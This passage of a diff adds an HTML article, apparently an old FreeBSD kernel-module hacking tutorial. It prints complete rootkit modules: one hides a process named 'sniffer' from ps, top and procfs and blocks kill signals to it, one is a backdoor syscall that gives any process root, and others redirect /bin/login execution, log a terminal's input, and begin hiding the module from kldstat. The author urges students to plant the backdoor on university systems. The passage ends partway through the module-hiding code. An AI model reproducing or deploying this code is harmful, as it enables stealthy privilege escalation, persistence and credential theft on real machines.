+ if (size % sizeof(struct kinfo_proc) != 0) {
+ _kvm_err(kd, kd->program,
+ "proc size mismatch (%d total, %d chunks)",
+ size, sizeof(struct kinfo_proc));
+ return (0);
+ }
+ nprocs = size / sizeof(struct kinfo_proc);
+ } else {
+ struct nlist nl[4], *p;
+
+ nl[0].n_name = "_nprocs";
+ nl[1].n_name = "_allproc";
+ nl[2].n_name = "_zombproc";
+ nl[3].n_name = 0;
+
+ if (kvm_nlist(kd, nl) != 0) {
+ for (p = nl; p->n_type != 0; ++p)
+ ;
+ _kvm_err(kd, kd->program,
+ "%s: no such symbol", p->n_name);
+ return (0);
+ }
+ if (KREAD(kd, nl[0].n_value, &nprocs)) {
+ _kvm_err(kd, kd->program, "can't read nprocs");
+ return (0);
+ }
+ size = nprocs * sizeof(struct kinfo_proc);
+ kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size);
+ if (kd->procbase == 0)
+ return (0);
+
+ nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value,
+ nl[2].n_value, nprocs);
+#ifdef notdef
+ size = nprocs * sizeof(struct kinfo_proc);
+ (void)realloc(kd->procbase, size);
+#endif
+ }
+ *cnt = nprocs;
+ return (kd->procbase);
+}
+</xmp>
+Look at the ISALIVE if construct. Here the library call decides wether it looks
+for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further
+explaination (and module) is based on a 'living' process (what worth is a
+'dead' sniffer ?). So let's take a look at that case.<br>
+First of all a MIB array is constructed where the operation (op) and an
+argument (arg) is inserted. The other two fields are predefined. The op field
+is equal to the what value from the ps program (KERN_PROC_ALL, for example)
+and the arg field is equal to the flag variable in ps.c (1 or 0). After this
+a sysctl is issued with the corresponding MIB.<br>
+This sysctl call finally reaches sysctl_kern_proc :
+<xmp>
+static int
+sysctl_kern_proc SYSCTL_HANDLER_ARGS
+{
+ int *name = (int*) arg1;
+ u_int namelen = arg2;
+ struct proc *p;
+ int doingzomb;
+ int error = 0;
+
+ if (oidp->oid_number == KERN_PROC_PID) {
+ if (namelen != 1)
+ return (EINVAL);
+ p = pfind((pid_t)name[0]);
+ if (!p)
+ return (0);
+ error = sysctl_out_proc(p, req, 0);
+ return (error);
+ }
+ if (oidp->oid_number == KERN_PROC_ALL && !namelen)
+ ;
+ else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
+ ;
+ else
+ return (EINVAL);
+
+ if (!req->oldptr) {
+ /* overestimate by 5 procs */
+ error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
+ if (error)
+ return (error);
+ }
+ for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
+ if (!doingzomb)
+ p = allproc.lh_first;
+ else
+ p = zombproc.lh_first;
+ for (; p != 0; p = p->p_list.le_next) {
+ /*
+ * Skip embryonic processes.
+ */
+ if (p->p_stat == SIDL)
+ continue;
+ /*
+ * TODO - make more efficient (see notes below).
+ * do by session.
+ */
+ switch (oidp->oid_number) {
+
+ case KERN_PROC_PGRP:
+ /* could do this by traversing pgrp */
+ if (p->p_pgrp == NULL ||
+ p->p_pgrp->pg_id != (pid_t)name[0])
+ continue;
+ break;
+
+ case KERN_PROC_TTY:
+ if ((p->p_flag & P_CONTROLT) == 0 ||
+ p->p_session == NULL ||
+ p->p_session->s_ttyp == NULL ||
+ p->p_session->s_ttyp->t_dev != (dev_t)name[0])
+ continue;
+ break;
+
+ case KERN_PROC_UID:
+ if (p->p_ucred == NULL ||
+ p->p_ucred->cr_uid != (uid_t)name[0])
+ continue;
+ break;
+
+ case KERN_PROC_RUID:
+ if (p->p_ucred == NULL ||
+ p->p_cred->p_ruid != (uid_t)name[0])
+ continue;
+ break;
+ }
+
+ error = sysctl_out_proc(p, req, doingzomb);
+ if (error)
+ return (error);
+ }
+ }
+ return (0);
+}
+</xmp>
+This function first checks whether we want information on all processes
+(KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack
+also must handle these two cases. The rest of the function is quite obvious.
+The allproc data is collected and copied in the user space buffer. The last
+sysctl_out_proc() function does the rest :
+<xmp>
+
+static int
+sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb)
+{
+ struct eproc eproc;
+ int error;
+ pid_t pid = p->p_pid;
+
+ fill_eproc(p, &eproc);
+ error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc));
+ if (error)
+ return (error);
+ error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc));
+ if (error)
+ return (error);
+ if (!doingzomb && pid && (pfind(pid) != p))
+ return EAGAIN;
+ if (doingzomb && zpfind(pid) != p)
+ return EAGAIN;
+ return (0);
+}
+</xmp>
+This will set return code and move the memory. That's all.
+[A big SORRY to all kernel freaks, but explaining all this in more detail would
+produce 100 pages and more... ]. <br>
+My module also handles the kill signal just to demonstrate that it is also
+possible to intercept any signal calls to the PID of the process we want to
+hide. Recall that hiding does not mean that signals can't reach our process !
+Here is my module :<br>
+<xmp>
+/*This module shows how to hide any process from commands like 'ps' or 'top'.
+Recall that BSD uses the so called kvm library which uses special MIBs
+with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list
+from user space. Linux only relies on the procfs, so BSD is a bit harder to
+attack.*/
+
+/*FEATURES :
+1 - This module hides a certain process from proc lists produced by ps or top
+2 - This module hides a certain process from direct calls like 'ps PID'
+3 - This module intercepts the kill syscall in order to avoid killing our
+ process we want to hide (the kill is just an add-on, normally you are
+ secure enough with the points 1,2 and 4)
+4 - This module hides the proc entry from the procfs
+*/
+
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/queue.h>
+#include <dirent.h>
+#include <sys/sysctl.h>
+
+/*exact name of the process (+arguments) we want to hide*/
+#define HIDE_PROC "sniffer"
+
+/*this structure is used by BSD to describe a process for user space programs*/
+struct kinfo_proc {
+ struct proc kp_proc; /* proc structure */
+ struct eproc {
+ struct proc *e_paddr; /* address of proc */
+ struct session *e_sess; /* session pointer */
+ struct pcred e_pcred; /* process credentials */
+ struct ucred e_ucred; /* current credentials */
+ struct procsig e_procsig; /* shared signal structure */
+ /*PADDING stuff*/
+ /*struct vmspace e_vm; address space */
+ char pad1[180];
+ pid_t e_ppid; /* parent process id */
+ pid_t e_pgid; /* process group id */
+ short e_jobc; /* job control counter */
+ dev_t e_tdev; /* controlling tty dev */
+ pid_t e_tpgid; /* tty process group id */
+ struct session *e_tsess; /* tty session pointer */
+#define WMESGLEN 7
+ char e_wmesg[WMESGLEN+1]; /* wchan message */
+ segsz_t e_xsize; /* text size */
+ short e_xrssize; /* text rss */
+ short e_xccount; /* text references */
+ short e_xswrss;
+ long e_flag;
+#define EPROC_CTTY 0x01 /* controlling tty vnode active */
+#define EPROC_SLEADER 0x02 /* session leader */
+ char e_login[roundup(MAXLOGNAME, sizeof(long))]; /* setlogin() name */
+ long e_spare[2];
+ } kp_eproc;
+};
+
+/*we need this counter to get the right sysctl call*/
+int global_counter;
+
+
+/*We need to define M_DIRP2 for allocating some memory in kernel space with
+ the help of the MALLOC macro*/
+MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
+
+
+/*This function returns the PID of the process we want to hide*/
+int
+get_pid()
+{
+ struct proc *p;
+
+ p=allproc.lh_first;
+ for (; p!=0; p=p->p_list.le_next)
+ {
+ /*p->p_comm holds the process name*/
+ if (strcmp(p->p_comm, HIDE_PROC)==0)
+ {
+ return p->p_pid;
+ }
+ }
+ return -1;
+}
+
+/*nothing big, but for demonstration*/
+static int
+hacked_kill(struct proc *p, struct kill_args *uap)
+{
+ if (uap->pid==get_pid())
+ return ESRCH;
+ else
+ return kill(p, uap);
+}
+
+/*the BIG sysctl hack :)*/
+static int
+hacked_sysctl(struct proc *p, struct sysctl_args *uap)
+{
+ /*this will hold the MIB values*/
+ int mib[4];
+ size_t size, newsize;
+ /*this will hold the kinfo_proc structures in our kernel space*/
+ struct kinfo_proc kpr;
+ /*just some stuff we need*/
+ int tmp, counter;
+
+ /*call sysctl, and get return value*/
+ tmp= __sysctl(p, uap);
+
+ /*grab the MIB from user space*/
+ copyin(uap->name, &mib, sizeof(mib));
+
+ /*Did someone issue something like 'ps PID' -> in order to get information
+ on a certain single process ? If so we need to handle this. Attention :
+ I skipped checkin' the first two mib[] fields, again I'm lazy :)*/
+ if (mib[2]==KERN_PROC_PID)
+ {
+ /*Does he want to get info on our process ?*/
+ if (mib[3]==get_pid())
+ {
+ /*If so we return a size value of 0 standing for no such process*/
+ size=0;
+ /*copy to user space*/
+ copyout(&size, uap->oldlenp, sizeof(size));
+ /*and return*/
+ return(0);
+ }
+ else
+ /*otherwise display the reqeuested information*/
+ return 0;
+ }
+
+ /*the following code will handle calls like 'ps' and 'top' with ALL PROCS
+ enable*/
+ /*ok, we need to check the MIB for 'hacking' the real sysctl
+ our first check is it CTL_KERN*/
+ if (mib[0]==CTL_KERN)
+
+ /*our second check is it KERN_PROC*/
+ if (mib[1]==KERN_PROC)
+
+ /*our third check : is it the second sysctl (not the one retrieving the
+ kinfo_proc structure list size ?*/
+ if (uap->old!=NULL)
+ {
+ /*only catch the first call*/
+ if (global_counter==0)
+ {
+ global_counter++;
+ /*now it's time to check for our PID we want to hide*/
+ /*NOTE : Here we check the memory region in user space for a kinfo_proc
+ structure with the needed PID*/
+ for (counter=0;(counter*sizeof(kpr)<=size); counter++)
+ {
+ /*copy from user to kernel space*/
+ copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr));
+ /*do we have our PID ?*/
+ if (kpr.kp_proc.p_pid==get_pid())
+ {
+ /*YES, so patch the size of the memory region (decrement by one
+ kinfo_proc structure)*/
+ newsize=size-sizeof(kpr);
+ /*'overlap' the memory, so we 'cut' our entry out*/
+ bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr),
+ size-(counter+1)*sizeof(kpr));
+
+ }
+ }
+ /*set the new size*/
+ copyout(&newsize, uap->oldlenp, sizeof(size));
+ /*and finally return*/
+ return 0;
+ }
+ }
+ /*we have the sysctl call, that requests the memory size of the kinfo_proc
+ list*/
+ /*if uap->old == NULL, then the user requests the process count*/
+ else
+ {
+ /*we also need the size (count), so get it*/
+ copyin(uap->oldlenp, &size, sizeof(size));
+ /*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures,
+ so we need to correct (decrease) that*/
+ size-=sizeof(kpr)*5;
+ newsize=size;
+ /*set global_counter to 0 for catching the only next sysctl*/
+ global_counter=0;
+ }
+ return tmp;
+}
+
+
+/*Normal getdirentries hack for hiding the process from procfs*/
+static int
+hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
+{
+ unsigned int tmp, n, t;
+ struct dirent *dirp2, *dirp3;
+
+ /*The file we want to hide : The name must match exactly !*/
+ char hide[255];
+
+
+ /*copy the HIDE_PROC number into the hide string*/
+ sprintf(hide, "%d", get_pid());
+
+ /*just issue the syscall*/
+ getdirentries(p,uap);
+
+ /*this is the way BSD returns status values to the process issueing the
+ request.*/
+ tmp=p->p_retval[0];
+
+ if (tmp>0)
+ {
+ /*allocate memory*/
+ MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
+ /*copy the dirent structure for user space in our kernel space*/
+ copyin(uap->buf, dirp2, tmp);
+
+ /*dirp3 points to dirp2*/
+ dirp3=dirp2;
+
+ t=tmp;
+
+ /*In this loop we check for every dirent structure in the user buffer*/
+ while (t > 0)
+ {
+ n = dirp3->d_reclen;
+ t-=n;
+ /*Do we have the entry for our file to hide (I don't check for procfs)*/
+ if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
+ {
+ if (t!=0)
+ {
+ /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
+ handle overlapping memroy locations, so this is our choice*/
+ bcopy((char*)dirp3+n,dirp3, t);
+ }
+ /*the dirent structure list is shorter now*/
+ tmp-=n;
+ }
+ /*The following piece of code is necessary, because we get one dirent entry
+ with d_reclen=0, if we would not implement this, we would get an infinite
+ while loop*/
+ if (dirp3->d_reclen==0)
+ {
+ /*end is reached*/
+ t=0;
+ }
+ /*as long as there is something to copy, do it*/
+ if (t!=0)
+ /*get the next pointer from the dirent structure list*/
+ dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
+ }
+ /*we must decrement the getdirentries user call return value, if we changed
+ something*/
+ p->p_retval[0]=tmp;
+
+ /*copy the whole (perhaps modified) memory back to the user buffer*/
+ copyout(dirp2, uap->buf, tmp);
+
+ /*free kernel memory*/
+ FREE(dirp2, M_DIRP2);
+ }
+ /*everything ok, so return 0*/
+ return 0;
+}
+
+/*the hacked getdirentries syscall*/
+static struct sysent hacked_getdirentries_sysent = {
+ 4,
+ hacked_getdirentries /* sy_call */
+};
+
+
+/*the hacked kill sysentry*/
+static struct sysent hacked_kill_sysent = {
+ 2,
+ hacked_kill
+};
+
+/*the hacked sysctl sysentry*/
+static struct sysent hacked_sysctl_sysent = {
+ 6,
+ hacked_sysctl /* sy_call */
+};
+
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ /*replace the sysctl syscall with our own*/
+ sysent[202]=hacked_sysctl_sysent;
+ /*replace the kill syscall with our own*/
+ sysent[37]=hacked_kill_sysent;
+ /*replace the getdirentries syscall with our own*/
+ sysent[196]=hacked_getdirentries_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[202].sy_call=(sy_call_t*)__sysctl;
+ sysent[37].sy_call=(sy_call_t*)kill;
+ sysent[196].sy_call=(sy_call_t*)getdirentries;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+
+/*module data*/
+static moduledata_t syscall_mod = {
+ "ProcHide",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+
+</xmp>
+Load this module and the process will be hidden. Already started processes can
+- of course - also be hidden.<br>
+You may say that this solution does not look very nice, I know, but again it's
+working. And please bear in mind that this module is again experimental.
+For kernel starters :<br>
+You may wonder why I didn't patch the allproc or zombproc list directly. Well
+those lists are also required for scheduling and other important system tasks.
+It would be far too complicated to code something like this, I really think
+that it's quite impossible.
+
+<p>
+<H3><A NAME="II.3.2."></A>3.2 Backdoor 'rootshell'</h3>
+<p>
+The following module was a nice idea I had when playing around with the proc
+structure. Load this module, and you can 'SU' without a password.
+The idea is very simple. The module implements a system call that gets one
+argument : a PID. This can be the PID of any process, but will normally be the
+PID of your user account shell (tcsh, sh, bash or whatever). This
+process will then become root (UID 0) by manipulating its cred structure.
+Here we go :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/lock.h>
+
+/*arguments for our system call*/
+struct make_me_root_args {
+ /*which process should be set UID=0?*/
+ int p_pid;
+};
+
+/*A very simple system call handler making a certain process UID=0*/
+static int
+make_me_root (struct proc *p, struct make_me_root_args *uap)
+{
+ struct proc *pr=pfind(uap->p_pid);
+
+ /*this is all we need...*/
+ pr->p_cred->pc_ucred->cr_uid=0;
+ return 0;
+}
+
+/*
+ * The `sysent' for the our syscall
+ */
+static struct sysent make_me_root_sysent = {
+ 1, /* sy_narg */
+ make_me_root /* sy_call */
+};
+
+/*we choose slot number 210, because it's free on FreeBSD 3.1*/
+static int offset = 210;
+
+/*nothing to do here*/
+static int
+load (struct module *module, int cmd, void *arg)
+{
+ return 0;
+}
+
+/*start everything*/
+SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL);
+
+</xmp>
+The problem is that anyone can call this system call, but you can add some
+kind of simple authentication (like I did before) or just hide it with a
+filesysetem hack ;).
+
+Here's the user space :
+<xmp>
+/*in argv[1] this program waits for the PID to set UID=0*/
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/module.h>
+
+struct make_me_root_args {
+ int p_pid;
+};
+
+int
+main(int argc, char **argv)
+{
+ struct make_me_root_args mmra;
+
+ mmra.p_pid=atoi(argv[1]);
+ return syscall (210, mmra);
+}
+</xmp>
+In my opinion this is one of the easiest local backdoors. Interesting for
+thousands of students. Image your university uses a buggy FreeBSD system (every
+system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick
+and become root, install the module (hiding should be added) and you are done.
+
+<p>
+<H3><A NAME="II.4."></A>4. File execution redirection</h3>
+<p>
+This method and its advantages were already described in my Linux article, so
+I will only give you the code plus some short words. Please note that this
+hack approach is a bit different from the Linux idea, so pay attention :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <dirent.h>
+
+/*
+ * Shareable process virtual address space.
+ * May eventually be merged with vm_map.
+ * Several fields are temporary (text, data stuff).
+ */
+struct vmspace {
+/*NOTE : I just used some padding stuff, to avoid too much include file
+ problems...
+*/
+/* struct vm_map vm_map; VM address map */
+ char pad1[100];
+/* struct pmap vm_pmap; private physical map */
+ char pad2[36];
+ int vm_refcnt; /* number of references */
+ caddr_t vm_shm; /* SYS5 shared memory private data XXX */
+/* we copy from vm_startcopy to the end of the structure on fork */
+#define vm_startcopy vm_rssize
+ segsz_t vm_rssize; /* current resident set size in pages */
+ segsz_t vm_swrss; /* resident set size before last swap */
+ segsz_t vm_tsize; /* text size (pages) XXX */
+ segsz_t vm_dsize; /* data size (pages) XXX */
+ segsz_t vm_ssize; /* stack size (pages) */
+ caddr_t vm_taddr; /* user virtual address of text XXX */
+ caddr_t vm_daddr; /* user virtual address of data XXX */
+ caddr_t vm_maxsaddr; /* user VA at max stack growth */
+ caddr_t vm_minsaddr; /* user VA at max stack growth */
+};
+
+
+/*the hacked execve syscall*/
+static
+int hacked_execve(struct proc *p, struct execve_args *uap)
+{
+ char name[255];
+ /*the file we want to redirect*/
+ char old_name[]="/bin/login";
+ /*the new file to execute, perhaps hiding is a good idea...*/
+ char new_name[]="/bin/newlogin";
+ size_t done;
+ struct obreak_args oa;
+ struct execve_args kap;
+ struct execve_aegs *nap;
+ char *user_new_name;
+
+ /*get the program name the system (user) wants to execute via execve*/
+ copyinstr(uap->fname, name, 255, &done);
+
+ /*do we have the right file name?*/
+ if (strcmp((char*)&name, (char*)&old_name)==0)
+ {
+ /*IDEA : Now we allocate a bit of user space memory for a new execve_args
+ structure...*/
+ /*allocate one page*/
+ oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+
+ 4096;
+
+ /*set the adress*/
+ user_new_name=oa.nsize-256;
+ /*copy the new name to user space location*/
+ copyout(&new_name, user_new_name, strlen(new_name));
+ /*set the pointer kap.fname to the user space location*/
+ kap.fname=oa.nsize-256;
+ /*set the pointer kap.argv to the old uap entry in user space*/
+ kap.argv=uap->argv;
+ /*the same as above*/
+ kap.envv=uap->envv;
+ /*set the adress for the new execve_args structure in user space*/
+ nap=(struct execve_args*)oa.nsize-4000;
+ /*copy the kernel execve_args structure to the user space one*/
+ copyout(&kap, nap, sizeof(struct execve_args));
+ /*execute the new command with the same argv and envv values*/
+ return execve(curproc, nap);
+ }
+ /*if we don't have our file, just continue*/
+ return execve(p, uap);
+}
+
+/*the hacked execve syscall*/
+static struct sysent hacked_execve_sysent = {
+ 3,
+ hacked_execve /* sy_call */
+};
+
+
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+ switch (cmd) {
+ case MOD_LOAD :
+ /*replace the execve syscall with our own*/
+ sysent[SYS_execve]=hacked_execve_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[SYS_execve].sy_call=(sy_call_t*)execve;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+
+
+static moduledata_t syscall_mod = {
+ "ExeRedirect",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+
+I had to reuse an execve system call, so I was forced to allocate some user
+space memory for the new args. This is why the module is a bit long.
+
+<p>
+<H3><A NAME="II.5."></A>5. TTY hijacking</h3>
+<p>
+TTY hijacking has a long tradition, and though there may be lots of ways to do,
+kernel code is a quite nice solution. It was demonstrated on Linux boxes with
+LKM. Now it's time to show you how it works on BSD. <br>
+So take a look at my 10 minutes hack (don't expect good code) :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+
+/*TTY we want to hijack*/
+#define MAJOR 12
+#define MINOR 2
+
+/*buffer size to use (for TTY data)*/
+#define BUFSIZE 8192
+
+/*global memory for saving all TTY inputs*/
+char *ttybuf;
+
+/*global counter to implement some (bad) kind of ring buffer*/
+int globalcounter=0;
+
+MALLOC_DEFINE(M_BUF, "buf", "buf");
+
+
+/*structure for system call to retrieve the TTYbuf data*/
+static struct get_tty_args {
+ char *buf;
+};
+
+/*I packed some structures into this module, to make things clearer.*/
+struct specinfo {
+ struct vnode **si_hashchain;
+ struct vnode *si_specnext;
+ struct mount *si_mountpoint;
+ dev_t si_rdev;
+ unsigned long si_blksize;
+};
+
+
+/*stuff needed for vnode structure*/
+typedef int vop_t __P((void *));
+enum vtype { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD };
+TAILQ_HEAD(buflists, buf);
+
+
+/*non-complete vnode structure, we only need the device parts.*/
+struct vnode {
+ u_long v_flag; /* vnode flags (see below) */
+ int v_usecount; /* reference count of users */
+ int v_writecount; /* reference count of writers */
+ int v_holdcnt; /* page & buffer references */
+ daddr_t v_lastr; /* last read (read-ahead) */
+ u_long v_id; /* capability identifier */
+ struct mount *v_mount; /* ptr to vfs we are in */
+ vop_t **v_op; /* vnode operations vector */
+ TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */
+ LIST_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */
+ struct buflists v_cleanblkhd; /* clean blocklist head */
+ struct buflists v_dirtyblkhd; /* dirty blocklist head */
+ LIST_ENTRY(vnode) v_synclist; /* vnodes with dirty buffers */
+ long v_numoutput; /* num of writes in progress */
+ enum vtype v_type; /* vnode type */
+ union {
+ struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */
+ struct socket *vu_socket; /* unix ipc (VSOCK) */
+ struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */
+ struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */
+ } v_un;
+ /*....*/
+};
+
+
+/*the shortest systemcall I ever saw, but (again) everything is working*/
+static
+void get_tty(struct proc *p, struct get_tty_args *uap)
+{
+ copyout(ttybuf, uap->buf, BUFSIZE);
+}
+
+/*the hacked write syscall*/
+static
+int hacked_write(struct proc *p, struct write_args *uap)
+{
+ /*we will examine the vnode of the file it is read from*/
+ struct vnode *vn;
+ /*we have to check the device for our TTY*/
+ dev_t device;
+
+ /*get the vnode*/
+ vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data;
+
+ /*do we have a character device?*/
+ if (vn->v_type==VCHR)
+ {
+ /*if so get the device*/
+ device=vn->v_un.vu_specinfo->si_rdev;
+ /*check for MAJOR and MINOR codes*/
+ if ((major(device)==MAJOR) && (minor(device)==MINOR))
+ {
+ /*arghh, this is no nice solution. Computer Science students should
+ correct this bad ring buffer implementation*/
+ if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0;
+ /*again no nice coding, just call me Mr. Lazy ;)*/
+ if (uap->nbyte<BUFSIZE)
+ copyin(uap->buf, ttybuf+globalcounter, uap->nbyte);
+ globalcounter+=uap->nbyte;
+ }
+ }
+ return write(p, uap);
+}
+
+/*the hacked open syscall*/
+static struct sysent hacked_write_sysent = {
+ 3,
+ hacked_write /* sy_call */
+};
+
+/*our own system call for bringing the kernel buffer to user space*/
+static struct sysent get_tty_sysent = {
+ 1,
+ get_tty /* sy_call */
+};
+
+
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+ switch (cmd) {
+ case MOD_LOAD :
+ /*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/
+ MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT);
+ /*replace the execve syscall with our own*/
+ sysent[SYS_write]=hacked_write_sysent;
+ /*again we use slot 210*/
+ sysent[210]=get_tty_sysent;
+ break;
+ case MOD_UNLOAD :
+ /*free buffer*/
+ FREE(ttybuf, M_BUF);
+ /*argument count has not changed, so we only need to restore the
+ function pointer*/
+ sysent[SYS_write].sy_call=(sy_call_t*)write;
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+
+static moduledata_t syscall_mod = {
+ "TTYhijack",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+
+For any explainations read my Linux LKM text :). TTY hijacking is realized by
+intercepting every write system call and checking the vnode for the correct
+device codes (specified through major and minor).<br>
+The following little program represents the user space part, getting the
+data.
+<xmp>
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/module.h>
+
+struct get_tty_args {
+ char *buf;
+};
+
+int
+main(int argc, char **argv)
+{
+ /*maybe you have to adjust the size value (see BUFSIZE in module)*/
+ char *buf=(char*)malloc(8192);
+ struct get_tty_args uap;
+ int counter;
+
+ uap.buf=buf;
+ syscall (210, uap);
+ /*I used this way of printing, maybe it would be a better job to handle some
+ command codes (old plain ASCII)*/
+ for (counter=0; counter<=8192; counter++)
+ printf("%c", buf[counter]);
+}
+</xmp>
+Ok, start the module with desired device codes. Wait some time, and start user
+space program...<br>
+The first big Linux TTY hijacking LKM used a device to manage the TTY buffer.
+Of course, this would also work on FreeBSD, but I hadn't got the time, so
+I just installed a system call.
+
+<p>
+<H3><A NAME="II.6."></A>6. Hiding the module</h3>
+<p>
+[Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for
+3.x systems is new, so read & learn.]<br>
+Now it's time to discuss hiding of our module. First of all we have to think
+about what to hide.<br>
+As I explained above there is a big difference between a link file and a
+module. Commands like 'kldstat' will give you a listing of loaded linkfiles,
+but there is no command to get a list of all loaded modules.
+So guess where kldstat gets the listing from. It's just the linker file list
+'files'. Now it's quite easy to hide this module and make it unremovable. Just
+delete the desired entry from the files list, and everything is fine. There are
+no problems with doing this (like there were with the proc lists). I have to
+admit that I only analyzed 40 % of the whole kernel code (I will continue) so
+I also implemented module hiding perhaps there is a place in the kernel we
+need it. So let's take a look at my implementation :
+
+<xmp>
+/*FEATURES :
+ - manipulate linker files list
+ - manipulate moodules list
+ - manipulate first linker file entry
+ - manipulate global linker file ID coutner
+ - manipulate global modules ID counter
+*/
+
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/lock.h>
+
+
+typedef TAILQ_HEAD(, module) modulelist_t;
+
+
+extern struct lock lock;
+/*we have to patch the files list*/
+extern linker_file_list_t files;
+extern int next_file_id;
+/*we have to patch the modules list*/
+extern modulelist_t modules;
+extern int nextid;
+
+
+struct module {
+ TAILQ_ENTRY(module) link;
+ TAILQ_ENTRY(module) flink;
+ struct linker_file *file;
+ int refs;
+ int id;
+ char *name;
+ modeventhand_t handler;
+ void *arg;
+ modspecific_t data;
+};
+
+char string[]="Hello Word";
+
+/*this is just to show that extern functions also work*/
+static
+void do_a_print()
+{
+ printf("IT WORKS : %s\n", string);
+}
+
+/*The syscall *TODO* function*/
+/*This function is not necessary, because we just want to hide a module. We
+only need it for checking, that our module is still working.*/
+static int
+hello (struct proc *p, void *arg)
+{
+ printf ("SYSCALL was ESTABLISHED and is still in memory \n");
+
+ do_a_print();
+ return 0;
+}
+
+/*
+ * The `sysent' for the new syscall
+ */
+static struct sysent hello_sysent = {
+ 0, /* sy_narg */
+ hello /* sy_call */
+};
+
+/*
+ * The offset in sysent where the syscall is allocated.
+ */
+/*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/
+static int offset = 210;
+
+/*
+ * The function called at load/unload.
+ */
+static int
+load (struct module *module, int cmd, void *arg)
+
+{
+ linker_file_t lf=0;
+
+ module_t mod=0;
+
+
+ lockmgr(&lock, LK_SHARED, 0, curproc);
+
